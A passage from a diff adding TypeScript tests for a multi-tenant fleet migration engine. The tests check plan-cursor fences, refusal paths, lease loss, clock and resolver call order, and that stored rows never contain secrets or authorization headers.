+    ).toEqual([0, 1, 2]);
+  });
+
+  it('second-world drain-versus-bounded end states and sanitized rows retain callback and clock contracts', async () => {
+    for (const input of [
+      { path: 'ready' as const },
+      {},
+      { external: true },
+      { path: 'platform-only' as const, lagging: true },
+    ]) {
+      const bounded = createWorld(input);
+      const drain = createWorld(input);
+      await drainWorld(bounded);
+      const [legacy] = await migrateWorld(drain);
+      expect(bounded.current()).toEqual(legacy);
+      expect([...bounded.releases]).toEqual([...drain.releases]);
+      expect([...bounded.routed]).toEqual([...drain.routed]);
+      expect([...bounded.ledger]).toEqual([...drain.ledger]);
+      const items = bounded.operationStore.rows.get(uuid()) ?? [];
+      const bytes = JSON.stringify(items);
+      for (const forbidden of [
+        'databaseId',
+        'scriptName',
+        'platformResources',
+        'applicationBindings',
+        'maintenanceAdmin',
+        'deploymentIdentity',
+        SECRETS.maintenanceAdmin,
+        SECRETS.deploymentIdentity,
+        JSON.stringify(bounded.initial),
+      ])
+        expect(bytes).not.toContain(forbidden);
+      const failed = createWorld(input);
+      const token = await failed.start();
+      await expect(
+        advanceFleetMigration({
+          ...failed.options({ kind: 'continue', token: token.token }),
+          secretsFor() {
+            throw new Error(
+              `Authorization: Bearer ${SECRETS.maintenanceAdmin}`,
+            );
+          },
+        }),
+      ).rejects.toThrow('Authorization: Bearer');
+      expect(
+        failed.operationStore.operations.get(uuid())?.progress.failure,
+      ).toEqual({ reason: 'item-failed', itemOrdinal: 0 });
+      const failureBytes = JSON.stringify([
+        ...failed.operationStore.operations.values(),
+        ...failed.operationStore.rows.values(),
+      ]);
+      expect(failureBytes).not.toContain('Authorization');
+      expect(failureBytes).not.toContain('Bearer');
+      expect(failureBytes).not.toContain(SECRETS.maintenanceAdmin);
+    }
+
+    const resolverNames = [
+      'backendFor',
+      'specFor',
+      'secretsFor',
+      'finalizedStateProviderFor',
+      'settlementFor',
+    ] as const;
+    for (const mode of ['bounded', 'drain'] as const) {
+      for (const selected of resolverNames) {
+        const world =
+          selected === 'finalizedStateProviderFor'
+            ? finalizedWorld('ready').world
+            : createWorld({ path: 'ready' });
+        const token =
+          mode === 'bounded'
+            ? selected === 'settlementFor'
+              ? await advanceTo(world, 'ready-attest-settle')
+              : await world.start()
+            : undefined;
+        const options = {
+          ...world.options({ kind: 'continue', token: token?.token ?? {} }),
+          store: world.fleetStore,
+          records: [world.current()],
+          canaryTenantTags: [],
+        };
+        const calls: string[] = [];
+        const original = new Error(`selected ${selected}`);
+        const values = {
+          backendFor: world.backend,
+          specFor: world.spec,
+          secretsFor: SECRETS,
+        };
+        world.fleetStore.ops.length = 0;
+        for (const name of resolverNames)
+          Object.defineProperty(options, name, {
+            get() {
+              expect(this).toBe(options);
+              expect(world.fleetStore.ops).toContain('get');
+              calls.push(`get:${name}`);
+              return function (this: unknown, record: FleetRecord) {
+                expect(this).toBe(options);
+                expect(record.tenantTag).toBe(world.initial.tenantTag);
+                calls.push(`call:${name}`);
+                if (name === selected) throw original;
+                return name in values
+                  ? values[name as keyof typeof values]
+                  : undefined;
+              };
+            },
+          });
+        await expect(
+          mode === 'bounded'
+            ? advanceFleetMigration(options)
+            : migrateFleet(options),
+        ).rejects.toBe(original);
+        const expected = resolverNames
+          .slice(0, 3)
+          .slice(
+            0,
+            selected === 'backendFor' ? 1 : selected === 'specFor' ? 2 : 3,
+          );
+        const order =
+          selected === 'finalizedStateProviderFor' ||
+          selected === 'settlementFor'
+            ? [...expected, selected]
+            : expected;
+        expect(calls).toEqual(
+          order.flatMap((name) => [`get:${name}`, `call:${name}`]),
+        );
+      }
+      const vanished = createWorld();
+      const token = mode === 'bounded' ? await vanished.start() : undefined;
+      const options = {
+        ...vanished.options({ kind: 'continue', token: token?.token ?? {} }),
+        store: vanished.fleetStore,
+        records: [vanished.initial],
+        canaryTenantTags: [],
+      };
+      vanished.fleetStore.records.clear();
+      for (const name of resolverNames)
+        Object.defineProperty(options, name, {
+          get() {
+            throw new Error(`eager ${name}`);
+          },
+        });
+      let clockReads = 0;
+      Object.defineProperty(options, 'clock', {
+        get() {
+          clockReads += 1;
+          return () => NOW;
+        },
+      });
+      await expect(
+        mode === 'bounded'
+          ? advanceFleetMigration(options)
+          : migrateFleet(options),
+      ).rejects.toThrow('fleet migration record disappeared');
+      expect(clockReads).toBe(1);
+
+      const retirement = createWorld({ path: 'ready', external: true });
+      retirement.fleetStore.set({
+        ...retirement.current(),
+        retiringRelease: {
+          ...retirement.priorRelease,
+          physicalScriptName: 'expired-release',
+        },
+      });
+      const retiringToken =
+        mode === 'bounded'
+          ? await advanceTo(retirement, 'retire-pre')
+          : undefined;
+      const retiringOptions = {
+        ...retirement.options({
+          kind: 'continue',
+          token: retiringToken?.token ?? {},
+        }),
+        store: retirement.fleetStore,
+        records: [retirement.current()],
+        canaryTenantTags: [],
+      };
+      let deleted = false;
+      let reads = 0;
+      let selectedCalls = 0;
+      retirement.backend.deleteRetainedRelease = async () => {
+        await Promise.resolve();
+        deleted = true;
+      };
+      Object.defineProperty(retiringOptions, 'clock', {
+        get() {
+          reads += 1;
+          if (reads === 1) return () => NOW;
+          if (!deleted)
+            return function (this: unknown) {
+              expect(this).toBeUndefined();
+              expect(deleted).toBe(true);
+              selectedCalls += 1;
+              return NOW;
+            };
+          return () => NOW + 1000;
+        },
+      });
+      await (mode === 'bounded'
+        ? advanceFleetMigration(retiringOptions)
+        : migrateFleet(retiringOptions));
+      expect(selectedCalls).toBe(1);
+      expect(
+        retirement.fleetStore.puts.find((record) => !record.retiringRelease)
+          ?.updatedAt,
+      ).toBe(new Date(NOW).toISOString());
+
+      const schema = createWorld({ schemaVersion: 2 });
+      const schemaToken =
+        mode === 'bounded'
+          ? await advanceTo(schema, 'apply-migrations')
+          : undefined;
+      const schemaOptions = {
+        ...schema.options({
+          kind: 'continue',
+          token: schemaToken?.token ?? {},
+        }),
+        store: schema.fleetStore,
+        records: [schema.current()],
+        canaryTenantTags: [],
+      };
+      let providerDone = false;
+      const apply = schema.backend.applyMigrations;
+      schema.backend.applyMigrations = async (...args) => {
+        await apply(...args);
+        await Promise.resolve();
+        providerDone = true;
+      };
+      Object.defineProperty(schemaOptions, 'clock', {
+        get() {
+          const instant = providerDone ? NOW + 1000 : NOW;
+          return function (this: unknown) {
+            expect(this).toBeUndefined();
+            return instant;
+          };
+        },
+      });
+      await (mode === 'bounded'
+        ? advanceFleetMigration(schemaOptions)
+        : migrateFleet(schemaOptions));
+      expect(
+        schema.fleetStore.puts.find((record) => record.schemaVersion === 2)
+          ?.updatedAt,
+      ).toBe(new Date(NOW + 1000).toISOString());
+
+      const finalized = finalizedWorld('ready');
+      const ordinary = finalized.world;
+      const ordinaryToken =
+        mode === 'bounded'
+          ? await advanceTo(ordinary, 'ready-platform-resources')
+          : undefined;
+      const ordinaryOptions = {
+        ...ordinary.options({
+          kind: 'continue',
+          token: ordinaryToken?.token ?? {},
+        }),
+        store: ordinary.fleetStore,
+        records: [ordinary.current()],
+        canaryTenantTags: [],
+      };
+      let described = false;
+      let ordinaryReads = 0;
+      const describe = finalized.provider.describeFinalizedState;
+      finalized.provider.describeFinalizedState = (input) => {
+        described = true;
+        return describe(input);
+      };
+      const selected = function (this: {
+        provider: FinalizedOrdinaryStateProvider;
+        record: FleetRecord;
+        clock: () => number;
+      }) {
+        expect(this.provider).toBe(finalized.provider);
+        expect(this.clock).toBe(selected);
+        expect(this.record.tenantTag).toBe('cedar');
+        expect(described).toBe(true);
+        throw new Error('ordinary clock receiver verified');
+      };
+      Object.defineProperty(ordinaryOptions, 'clock', {
+        get() {
+          ordinaryReads += 1;
+          expect(described).toBe(false);
+          return ordinaryReads === 1 ? () => NOW : selected;
+        },
+      });
+      await expect(
+        mode === 'bounded'
+          ? advanceFleetMigration(ordinaryOptions)
+          : migrateFleet(ordinaryOptions),
+      ).rejects.toThrow('ordinary clock receiver verified');
+      expect(ordinaryReads).toBe(2);
+    }
+    for (const [step, expectedReads] of [
+      ['ready-target-backfill', 1],
+      ['ready-platform-resources', 1],
+      ['ready-maintenance', 1],
+      ['ready-promote', 2],
+      ['ready-retire-post', 2],
+    ] as const) {
+      const world = createWorld({ path: 'ready' });
+      world.fleetStore.set({
+        ...world.current(),
+        invocationAuthority: {
+          version: 1,
+          authorizedAt: new Date(NOW).toISOString(),
+        },
+      });
+      const token = await advanceTo(world, step);
+      const options = world.options({ kind: 'continue', token: token.token });
+      let reads = 0;
+      let calls = 0;
+      Object.defineProperty(options, 'clock', {
+        get() {
+          reads += 1;
+          return () => {
+            calls += 1;
+            return NOW;
+          };
+        },
+      });
+      await advanceFleetMigration(options);
+      expect(reads).toBe(expectedReads);
+      expect(calls).toBe(0);
+    }
+  });
+
+  it('ready-target-backfill trusted-resources refusal fails the item from inside the step', async () => {
+    const world = createWorld({ path: 'ready', external: true });
+    const current = { ...world.current() };
+    delete current.platformTarget;
+    delete current.platformResources;
+    world.fleetStore.set(current);
+    const token = await advanceTo(world, 'ready-target-backfill');
+    expect(world.operationStore.item().status).toBe('active');
+    await expect(continueWorld(world, token)).rejects.toThrow(
+      'ready external deployment has no trusted platform resources',
+    );
+    expectItemFailure(world);
+    expect(world.fleetStore.puts).toEqual([]);
+    expect(providerMutations(world)).toEqual([]);
+  });
+
+  it('ready-platform-resources preserves its exact platform-target refusal and the earlier coordinator fence', async () => {
+    const world = createWorld({ path: 'ready', external: true });
+    const token = await advanceTo(world, 'ready-platform-resources');
+    const divergent = {
+      ...world.current(),
+      platformTarget: {
+        ...world.priorTarget,
+        stateArtifactDigest: 'f'.repeat(64),
+      },
+    };
+    await withAdmitted(world, async ({ admitted }) => {
+      await expect(
+        executeNextMigrationStep(
+          admitted,
+          [{ step: 'ready-platform-resources' }],
+          0,
+          { entry: divergent, current: divergent },
+        ),
+      ).rejects.toThrow(
+        'ready deployment does not match the persisted platform target',
+      );
+    });
+    world.fleetStore.set(divergent);
+    world.ops.length = 0;
+    const puts = world.fleetStore.puts.length;
+    await expect(continueWorld(world, token)).rejects.toThrow(
+      'fleet migration item no longer matches its frozen plan',
+    );
+    expectItemFailure(world);
+    expect(world.fleetStore.puts).toHaveLength(puts);
+    expect(providerMutations(world)).toEqual([]);
+  });
+
+  it('platform-only-maintenance unarmed refusal fails the item from inside the step', async () => {
+    const world = createWorld({ path: 'platform-only' });
+    const token = await advanceTo(world, 'platform-only-maintenance');
+    world.setMaintenance({ ...HEALTHY, armed: false });
+    world.ops.length = 0;
+    await expect(continueWorld(world, token)).rejects.toThrow(
+      'platform-only migration maintenance is unarmed before route publication',
+    );
+    expectItemFailure(world);
+    expect(world.ops).toContain('maintenance');
+    expect(world.ops).not.toContain('promote');
+  });
+
+  it('last apply-migrations missing-path refusal uses the entry schema and fails the item', async () => {
+    const world = createWorld();
+    const token = await advanceTo(world, 'apply-migrations');
+    const item = world.operationStore.item();
+    world.operationStore.setItem({
+      ...item,
+      plan: item.plan?.filter(
+        (entry) =>
+          entry.step !== 'apply-migrations' || entry.targetSchemaVersion !== 3,
+      ),
+    });
+    await expect(continueWorld(world, token)).rejects.toThrow(
+      'missing D1 migration path from 1 to 3',
+    );
+    expect(world.current().schemaVersion).toBe(2);
+    expectItemFailure(world);
+    expect(world.ops.filter((op) => op.startsWith('apply:'))).toEqual([
+      'apply:2',
+    ]);
+    const invalid = createWorld();
+    invalid.spec = {
+      ...invalid.spec,
+      migrations: invalid.spec.migrations.slice(0, 2),
+    };
+    const start = await invalid.start();
+    await expect(continueWorld(invalid, start)).rejects.toThrow(
+      'D1 migration history must contain every version through schemaVersion',
+    );
+    expectItemFailure(invalid);
+    expect(invalid.fleetStore.puts).toEqual([]);
+    expect(providerMutations(invalid)).toEqual([]);
+  });
+
+  it('READY-plan reachability: trusted resources without platformTarget reach the backfill step', async () => {
+    const world = createWorld({ path: 'ready', external: true });
+    const current = { ...world.current() };
+    delete current.platformTarget;
+    world.fleetStore.set(current);
+    const token = await advanceTo(world, 'ready-target-backfill');
+    expect(world.operationStore.item().plan?.map(({ step }) => step)).toEqual([
+      'ready-target-backfill',
+      'ready-platform-resources',
+      'ready-maintenance',
+      'ready-promote',
+      'ready-attest-settle',
+      'ready-retire-post',
+    ]);
+    expect(world.fleetStore.puts).toEqual([]);
+    await continueWorld(world, token);
+    expect(world.current().platformTarget).toEqual(world.priorTarget);
+    expect(world.fleetStore.puts).toHaveLength(1);
+    expect(providerMutations(world)).toEqual([]);
+  });
+
+  it('assert-migrating lost-intent refusal fails the item from inside the step', async () => {
+    const world = createWorld({ external: true });
+    const token = await advanceTo(world, 'assert-migrating');
+    const current = { ...world.current() };
+    delete current.migrationPriorRelease;
+    world.fleetStore.set(current);
+    const puts = world.fleetStore.puts.length;
+    world.ops.length = 0;
+    await expect(continueWorld(world, token)).rejects.toThrow(
+      'immutable external migration lost its durable release intent',
+    );
+    expectItemFailure(world);
+    expect(world.fleetStore.puts).toHaveLength(puts);
+    expect(providerMutations(world)).toEqual([]);
+  });
+
+  it('plan-compatibility fence covers admission gaps, intent drift and premature foreign convergence', async () => {
+    const equal = createWorld({ path: 'ready' });
+    const equalToken = await advanceTo(equal, 'ready-target-backfill');
+    equal.fleetStore.set({
+      ...equal.current(),
+      updatedAt: new Date(NOW).toISOString(),
+    });
+    await continueWorld(equal, equalToken);
+    expect(equal.operationStore.item().status).toBe('active');
+    for (const opposite of [false, true]) {
+      const world = createWorld({ path: 'ready', external: true });
+      const token = await advanceTo(world, 'ready-target-backfill');
+      const donor = createWorld({
+        path: opposite ? 'platform-only' : 'full',
+        external: true,
+      });
+      donor.spec = world.spec;
+      if (!opposite)
+        donor.fleetStore.set({
+          ...donor.current(),
+          desiredSpecDigest: 'f'.repeat(64),
+        });
+      await advanceTo(donor, 'assert-migrating');
+      const carrier = donor.current();
+      if (!carrier.migrationIntent) throw new Error('missing donor intent');
+      world.fleetStore.set({
+        ...carrier,
+        migrationIntent: {
+          ...carrier.migrationIntent,
+          target: world.priorTarget,
+        },
+      });
+      world.ops.length = 0;
+      const puts = world.fleetStore.puts.length;
+      await expect(continueWorld(world, token)).rejects.toThrow(
+        'fleet migration item no longer matches its frozen plan',
+      );
+      expectItemFailure(world);
+      expect(world.fleetStore.puts).toHaveLength(puts);
+      expect(providerMutations(world)).toEqual([]);
+    }
+    const divergent = createWorld({ external: true });
+    const divergentToken = await advanceTo(divergent, 'seed-identity');
+    const carrier = divergent.current();
+    if (!carrier.migrationIntent) throw new Error('missing intent');
+    divergent.fleetStore.set({
+      ...carrier,
+      pendingRelease: {
+        ...(carrier.pendingRelease as ExternalReleaseSnapshot),
+        physicalScriptName: 'foreign-candidate',
+      },
+    });
+    await expect(continueWorld(divergent, divergentToken)).rejects.toThrow(
+      'migration retry uses a different desired specification',
+    );
+    expectItemFailure(divergent);
+    for (const path of ['full', 'platform-only'] as const) {
+      const admitted = createWorld({ path, external: true });
+      const admittedToken = await advanceTo(admitted, 'admit-migrating');
+      expect(admitted.current().phase).toBe('ready');
+      await continueWorld(admitted, admittedToken);
+      expect(admitted.current().phase).toBe('migrating');
+      const frozen = admitted.operationStore.item().plan;
+      const terminal = frozen?.findIndex(
+        ({ step }) =>
+          step === (path === 'full' ? 'settle-ready' : 'platform-only-ready'),
+      );
+      if (terminal === undefined || terminal < 1)
+        throw new Error('missing terminal entry');
+      const donor = createWorld({ path, external: true });
+      await drainWorld(donor);
+      for (let cursor = 0; cursor < terminal; cursor += 1) {
+        const world = createWorld({ path, external: true });
+        let token = await advanceTo(world, 'admit-migrating');
+        for (let completed = 0; completed < cursor; completed += 1)
+          token = await continueWorld(world, token);
+        expect(world.operationStore.item().planCursor).toBe(cursor);
+        world.fleetStore.set(donor.current());
+        const puts = world.fleetStore.puts.length;
+        world.ops.length = 0;
+        await expect(continueWorld(world, token)).rejects.toThrow(
+          'fleet migration item no longer matches its frozen plan',
+        );
+        expectItemFailure(world);
+        expect(world.fleetStore.puts).toHaveLength(puts);
+        expect(providerMutations(world)).toEqual([]);
+      }
+    }
+  });
+
+  it('carrier-fact drift past assert-migrating is caught by the next fence assertion re-run', async () => {
+    for (const field of [
+      'migrationPriorRelease',
+      'target',
+      'finalizedState',
+    ] as const) {
+      const finalized = finalizedWorld();
+      const world = finalized.world;
+      const token = await advanceTo(world, 'seed-identity');
+      const current = { ...world.current() };
+      if (!current.migrationIntent) throw new Error('missing intent');
+      const expected =
+        field === 'migrationPriorRelease'
+          ? 'immutable external migration lost its durable release intent'
+          : field === 'target'
+            ? 'migration retry does not match the persisted platform target'
+            : 'finalized provider state drifted';
+      if (field === 'migrationPriorRelease')
+        delete current.migrationPriorRelease;
+      if (field === 'target')
+        current.migrationIntent = {
+          ...current.migrationIntent,
+          target: {
+            ...current.migrationIntent.target,
+            stateArtifactDigest: 'f'.repeat(64),
+          },
+        };
+      if (field === 'finalizedState')
+        finalized.provider.assertFinalizedState = async () => {
+          throw new Error(expected);
+        };
+      world.fleetStore.set(current);
+      const puts = world.fleetStore.puts.length;
+      world.ops.length = 0;
+      await expect(continueWorld(world, token)).rejects.toThrow(expected);
+      expectItemFailure(world);
+      expect(world.fleetStore.puts).toHaveLength(puts);
+      expect(providerMutations(world)).toEqual([]);
+    }
+  });
+
+  it('all ten bounded entry bindings observe the leased retry snapshot rather than the admission snapshot', async () => {
+    for (const step of [
+      'platform-only-maintenance',
+      'platform-only-promote',
+      'platform-only-ready',
+      'deploy-candidate',
+      'promote',
+      'settle-ready',
+    ] as const) {
+      const path = step.startsWith('platform-only-') ? 'platform-only' : 'full';
+      const world = createWorld({ path, external: true, namespace: true });
+      let token = await advanceTo(
+        world,
+        path === 'platform-only'
+          ? 'platform-only-resources'
+          : 'platform-resources',
+      );
+      world.setNamespace('namespace-converged');
+      token = await continueWorld(world, token);
+      expect(
+        world.current().platformResources?.stateWorker.namespaceIds,
+      ).toEqual(['namespace-converged']);
+      if (path === 'platform-only')
+        world.releases.set(
+          world.priorRelease.physicalScriptName,
+          world.liveFor(world.spec, world.priorRelease.artifactVersion),
+        );
+      token = await advanceTo(world, step, token);
+      const before = copy(world.current());
+      const item = world.operationStore.item();
+      if (!item.plan || item.planCursor === undefined)
+        throw new Error('missing step cursor');
+      const plan = item.plan;
+      const planCursor = item.planCursor;
+      await withAdmitted(world, async ({ admitted, reread }) => {
+        const staleEntry = {
+          ...reread,
+          platformResources: world.initial.platformResources,
+        };
+        await expect(
+          executeNextMigrationStep(admitted, plan, planCursor, {
+            entry: staleEntry,
+            current: reread,
+          }),
+        ).rejects.toThrow(
+          "deployment 'cedar:production' live state does not exactly match the desired specification",
+        );
+      });
+      world.fleetStore.set(before);
+      const retry = createWorld({ path, external: true, namespace: true });
+      retry.setNamespace('namespace-converged');
+      retry.fleetStore.set(before);
+      retry.releases.clear();
+      for (const [name, live] of world.releases)
+        retry.releases.set(name, copy(live));
+      retry.routed.clear();
+      for (const [tenant, name] of world.routed) retry.routed.set(tenant, name);
+      for (const version of world.ledger) retry.ledger.add(version);
+      await continueWorld(world, token);
+      expect(world.operationStore.item().status).not.toBe('failed');
+      expect(world.operationStore.item().planCursor).toBe(planCursor + 1);
+      await expect(migrateWorld(retry)).resolves.toHaveLength(1);
+    }
+
+    const ownership = createWorld();
+    const ownershipToken = await advanceTo(ownership, 'seed-identity');
+    const seeded: unknown[][] = [];
+    ownership.backend.seedDeploymentIdentity = async (...args) => {
+      seeded.push(args);
+    };
+    await withAdmitted(ownership, async ({ admitted, reread }) => {
+      await executeNextMigrationStep(admitted, [{ step: 'seed-identity' }], 0, {
+        entry: { ...reread, tenantTag: 'entry-owner' },
+        current: { ...reread, tenantTag: 'current-owner' },
+      });
+      expect(seeded[0]).toEqual([
+        admitted.database,
+        'entry-owner',
+        admitted.lease,
+        { initialExecutionFenceState: 'open' },
+      ]);
+    });
+    seeded.length = 0;
+    await continueWorld(ownership, ownershipToken);
+    expect(seeded[0]?.[1]).toBe('cedar');
+    expect(seeded[0]?.[3]).toEqual({ initialExecutionFenceState: 'open' });
+
+    const missingPath = createWorld();
+    await withAdmitted(missingPath, async ({ admitted, reread }) => {
+      await expect(
+        executeNextMigrationStep(
+          admitted,
+          [{ step: 'apply-migrations', targetSchemaVersion: 2 }],
+          0,
+          { entry: { ...reread, schemaVersion: 17 }, current: reread },
+        ),
+      ).rejects.toThrow('missing D1 migration path from 17 to 3');
+      expect(missingPath.current().schemaVersion).toBe(2);
+    });
+
+    const absent = createWorld({ external: true });
+    const absentToken = await advanceTo(absent, 'settle-ready');
+    absent.backend.inspect = async () => undefined;
+    await withAdmitted(absent, async ({ admitted, reread }) => {
+      await expect(
+        executeNextMigrationStep(
+          admitted,
+          [{ step: 'settle-ready' }, { step: 'retire-post' }],
+          0,
+          {
+            entry: {
+              ...reread,
+              tenantTag: 'entry-tenant',
+              environment: 'entry-environment',
+            },
+            current: reread,
+          },
+        ),
+      ).rejects.toThrow(
+        'deployment did not converge after migration for entry-tenant:entry-environment',
+      );
+    });
+    await expect(continueWorld(absent, absentToken)).rejects.toThrow(
+      'deployment did not converge after migration for cedar:production',
+    );
+    expectItemFailure(absent);
+
+    const retirement = createWorld({ external: true });
+    const retiringToken = await advanceTo(retirement, 'settle-ready');
+    const entryRelease = {
+      ...retirement.priorRelease,
+      physicalScriptName: 'entry-rollback',
+    };
+    const currentRelease = {
+      ...retirement.priorRelease,
+      physicalScriptName: 'current-rollback',
+    };
+    const before = copy(retirement.current());
+    await withAdmitted(retirement, async ({ admitted, reread }) => {
+      const result = await executeNextMigrationStep(
+        admitted,
+        [{ step: 'settle-ready' }, { step: 'retire-post' }],
+        0,
+        {
+          entry: { ...reread, rollbackRelease: entryRelease },
+          current: { ...reread, rollbackRelease: currentRelease },
+        },
+      );
+      expect(result.record.retiringRelease).toEqual(entryRelease);
+    });
+    retirement.fleetStore.set({ ...before, rollbackRelease: currentRelease });
+    await continueWorld(retirement, retiringToken);
+    expect(retirement.current().retiringRelease).toEqual(currentRelease);
+    expect(retirement.initial.rollbackRelease).toBeUndefined();
+  });
+
+  it('migration kind-lease loss at dispatch aborts with zero provider work', async () => {
+    const world = createWorld();
+    const token = await advanceTo(world, 'seed-identity');
+    const item = world.operationStore.item();
+    const run = copy(world.operationStore.operations.get(uuid()));
+    world.operationStore.loseLease = true;
+    world.ops.length = 0;
+    world.fleetStore.ops.length = 0;
+    await expect(continueWorld(world, token)).rejects.toThrow(
+      'operation lease lost',
+    );
+    expect(world.ops).toEqual([]);
+    expect(world.fleetStore.ops).toEqual([]);
+    expect(world.operationStore.item()).toEqual(item);
+    expect(world.operationStore.operations.get(uuid())).toEqual(run);
+  });
+
+  it('fence and step observe the same shared migrating-carrier refusal', async () => {
+    for (const divergence of ['prior', 'target', 'provider'] as const) {
+      const finalized = finalizedWorld();
+      const world = finalized.world;
+      await advanceTo(world, 'seed-identity');
+      await withAdmitted(world, async ({ admitted, reread }) => {
+        const current = { ...reread };
+        if (!current.migrationIntent) throw new Error('missing intent');
+        const expected =
+          divergence === 'prior'
+            ? 'immutable external migration lost its durable release intent'
+            : divergence === 'target'
+              ? 'migration retry does not match the persisted platform target'
+              : 'async finalized assertion refused';
+        if (divergence === 'prior') delete current.migrationPriorRelease;
+        if (divergence === 'target')
+          current.migrationIntent = {
+            ...current.migrationIntent,
+            target: {
+              ...current.migrationIntent.target,
+              stateArtifactDigest: 'f'.repeat(64),
+            },
+          };
+        let completed = 0;
+        if (divergence === 'provider')
+          finalized.provider.assertFinalizedState = async (input) => {
+            await Promise.resolve();
+            expect(input.currentRecord).toBe(current);
+            expect(input.fence).toBe(admitted.lease);
+            completed += 1;
+            throw new Error(expected);
+          };
+        const item = world.operationStore.item();
+        if (!item.plan || item.planCursor === undefined)
+          throw new Error('missing plan');
+        const assertionCursor = item.plan.findIndex(
+          ({ step }) => step === 'assert-migrating',
+        );
+        for (const invoke of [
+          () => assertMigratingCarrierState(admitted, current),
+          () =>
+            executeNextMigrationStep(
+              admitted,
+              item.plan as NonNullable<FleetMigrationItem['plan']>,
+              assertionCursor,
+              { entry: current, current },
+            ),
+          () =>
+            assertFleetMigrationPlanCompatibility(
+              admitted,
+              {
+                plan: item.plan as NonNullable<FleetMigrationItem['plan']>,
+                planCursor: item.planCursor as number,
+              },
+              current,
+            ),
+        ])
+          await expect(invoke()).rejects.toThrow(expected);
+        expect(completed).toBe(divergence === 'provider' ? 3 : 0);
+      });
+    }
+  });
+
+  it('monotonic-floor regressions fail the item without mutation', async () => {
+    for (const scenario of [
+      'backward',
+      'unreachable',
+      'schema',
+      'zero-pending-schema',
+      'candidate',
+      'ready-target',
+    ] as const) {
+      const world = createWorld({
+        path:
+          scenario === 'unreachable'
+            ? 'platform-only'
+            : scenario === 'ready-target'
+              ? 'ready'
+              : 'full',
+        external: ['backward', 'unreachable', 'ready-target'].includes(
+          scenario,
+        ),
+      });
+      if (scenario === 'zero-pending-schema') {
+        world.fleetStore.set({ ...world.current(), schemaVersion: 3 });
+        world.ledger.add(2);
+        world.ledger.add(3);
+      }
+      const step =
+        scenario === 'backward'
+          ? 'pending-topology'
+          : scenario === 'unreachable'
+            ? 'platform-only-maintenance'
+            : scenario === 'candidate'
+              ? 'arm-maintenance'
+              : scenario === 'ready-target'
+                ? 'ready-platform-resources'
+                : 'migration-schema-applied';
+      const token = await advanceTo(world, step);
+      const current = { ...world.current() };
+      if (scenario === 'backward' || scenario === 'unreachable') {
+        if (!current.migrationIntent) throw new Error('missing intent');
+        current.migrationIntent = {
+          ...current.migrationIntent,
+          subphase:
+            scenario === 'backward' ? 'schema-applied' : 'candidate-armed',
+        };
+      } else if (scenario === 'schema' || scenario === 'zero-pending-schema')
+        current.schemaVersion = 2;
+      else if (scenario === 'candidate') delete current.pendingArtifactVersion;
+      else delete current.platformTarget;
+      world.fleetStore.set(current);
+      world.ops.length = 0;
+      const puts = world.fleetStore.puts.length;
+      await expect(continueWorld(world, token)).rejects.toThrow(
+        'fleet migration item no longer matches its frozen plan',
+      );
+      expectItemFailure(world);
+      expect(world.fleetStore.puts).toHaveLength(puts);
+      expect(providerMutations(world)).toEqual([]);
+    }
+  });
+
+  it('READY leave and re-enter continues at its cursor, converging or refusing remaining work', async () => {
+    for (const refuse of [false, true]) {
+      const world = createWorld({ path: 'ready', external: true });
+      const token = await advanceTo(world, 'ready-platform-resources');
+      const item = world.operationStore.item();
+      world.fleetStore.set({ ...world.current(), phase: 'migrating' });
+      const resources = world.current().platformResources;
+      if (!resources) throw new Error('missing resources');
+      world.fleetStore.set({
+        ...world.current(),
+        phase: 'ready',
+        platformResources: {
+          ...resources,
+          stateWorker: {
+            ...resources.stateWorker,
+            artifactVersion: 'foreign-provider-version',
+          },
+        },
+        updatedAt: new Date(NOW).toISOString(),
+      });
+      const release = world.releases.get(world.priorRelease.physicalScriptName);
+      if (!release) throw new Error('missing release');
+      world.releases.set(world.priorRelease.physicalScriptName, {
+        ...release,
+        maintenance: { ...HEALTHY, armed: false },
+      });
+      if (refuse) world.setMaintenance({ ...HEALTHY, armed: false });
+      const next = await continueWorld(world, token);
+      expect(world.operationStore.item().planCursor).toBe(
+        (item.planCursor ?? 0) + 1,
+      );
+      expect(world.current().platformResources).toEqual(
+        world.resourcesFor(world.spec),
+      );
+      if (refuse) {
+        await expect(continueWorld(world, next)).rejects.toThrow(
+          'maintenance did not re-arm',
+        );
+        expectItemFailure(world);
+      } else {
+        expect(await drainWorld(world, next)).toMatchObject({
+          status: 'complete',
+        });
+        expect(world.ops).toContain('maintenance');
+        expect(world.ops).toContain('promote');
+        expect(world.ops).toContain('settle');
+        expect(world.operationStore.item().planCursor).toBe(item.plan?.length);
+      }
+    }
+  });
+
+  it('platform-authored DO-tag-changing FULL migration resumes through terminal commit and refuses foreign tags and fresh-admission base drift', async () => {
+    const history = [
+      { tag: 'v1', newClasses: ['First'] },
+      { tag: 'v2', newClasses: ['Second'] },
+      { tag: 'v3', newClasses: ['Third'] },
+    ];
+    function tagged() {
+      const world = createWorld();
+      world.spec = {
+        ...world.spec,
+        previousDurableObjectTag: 'v1',
+        durableObjectMigrations: history,
+      };
+      world.fleetStore.set({
+        ...world.current(),
+        durableObjectTag: 'v1',
+        durableObjectMigrationHistory: history.slice(0, 1),
+        durableObjectMigrationHistoryDigest:
+          durableObjectMigrationHistoryDigest(history.slice(0, 1)),
+      });
+      return world;
+    }
+    const world = tagged();
+    const token = await advanceTo(world, 'settle-ready');
+    const item = await loseStepResponse(world, token);
+    expect(world.current()).toMatchObject({
+      phase: 'ready',
+      durableObjectTag: 'v3',
+      durableObjectMigrationHistory: history,
+      durableObjectMigrationHistoryDigest:
+        durableObjectMigrationHistoryDigest(history),
+    });
+    world.ops.length = 0;
+    const puts = world.fleetStore.puts.length;
+    const retired = await continueWorld(world, token);
+    expect(providerMutations(world)).toEqual([]);
+    expect(world.fleetStore.puts).toHaveLength(puts);
+    expect(
+      world.operationStore.item().plan?.[
+        world.operationStore.item().planCursor ?? -1
+      ]?.step,
+    ).toBe('retire-post');
+    expect(await drainWorld(world, retired)).toMatchObject({
+      status: 'complete',
+    });
+    expect(world.operationStore.item().planCursor).toBe(item.plan?.length);
+    for (const mode of ['bounded', 'drain'] as const) {
+      const error =
+        "Durable Object migration base mismatch for cedar:production: expected 'v3'";
+      if (mode === 'drain')
+        await expect(migrateWorld(world)).rejects.toThrow(error);
+      else {
+        const start = await world.start(uuid(2), [world.current()]);
+        await expect(continueWorld(world, start)).rejects.toThrow(error);
+        expect(world.operationStore.item(uuid(2)).status).toBe('failed');
+      }
+    }
+    for (const shape of [
+      'consistent-intermediate',
+      'bare-target',
+      'bare-foreign',
+      'no-history-target',
+    ] as const) {
+      const foreign = tagged();
+      const pending = await advanceTo(foreign, 'seed-identity');
+      const current = {
+        ...foreign.current(),
